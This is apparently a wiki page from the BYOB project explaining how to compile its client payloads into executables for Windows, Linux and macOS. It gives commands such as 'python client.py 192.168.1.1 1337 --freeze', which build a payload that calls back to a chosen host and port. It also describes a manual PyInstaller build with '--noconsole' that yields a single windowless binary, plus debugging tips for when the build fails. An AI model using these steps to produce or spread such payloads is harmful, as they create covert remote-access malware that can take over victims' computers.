-
-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Compiling Executable Payloads
IMPORTANT NOTE
- To compile an executable for Windows, you must run
client.pyon a Windows machine. - To compile an executable for Linux, you must run
client.pyon a Linux machine. - To compile an executable for Mac OS, you must run
client.pyon a Mac OS machine.
- To compile a binary executable payload instead of a Python script, you can use the
--freezeargument when runningclient.py. This will create an executable payload in thedistfolder.
Example
python client.py 192.168.1.1 1337 --freeze will create an executable payload in the /byob/dist/ folder.
- If the built in
--freezemethod doesn't work, then running PyInstaller manually on the payload always works. To do this follow the steps below:
- Run
client.pywithout the--freezeargument - Navigate to the
byob/modules/payloadsdirectory - Run the command
python -m PyInstaller --onefile --noconsole <payload>where<payload>is the name of the Python payload generated in Step 1. - Once PyInstaller is finished running, there should be a
distdirectory with an executable inside of it (byob/modules/payloads/dist/example.exe)
Troubleshooting Tip
If the executable doesn't compile or run properly, try running client.py with the --debug argument. This will enable logging and debugging output to be displayed when the executable runs. You can use this information to debug what the issue is, or if you're stuck, copy/paste the debugging output in our Discord server and a developer can try to diagnose the issue.
For example, a common error on Windows is a dialog which says 'Failed to execute script' without any useful information about what went wrong). The --debug option is very useful in this case to see exactly what is going wrong.
Example
python client.py 192.168.1.1 1337 --freeze --debug will create an executable payload in the /byob/dist/ folder which displays debugging output when executed.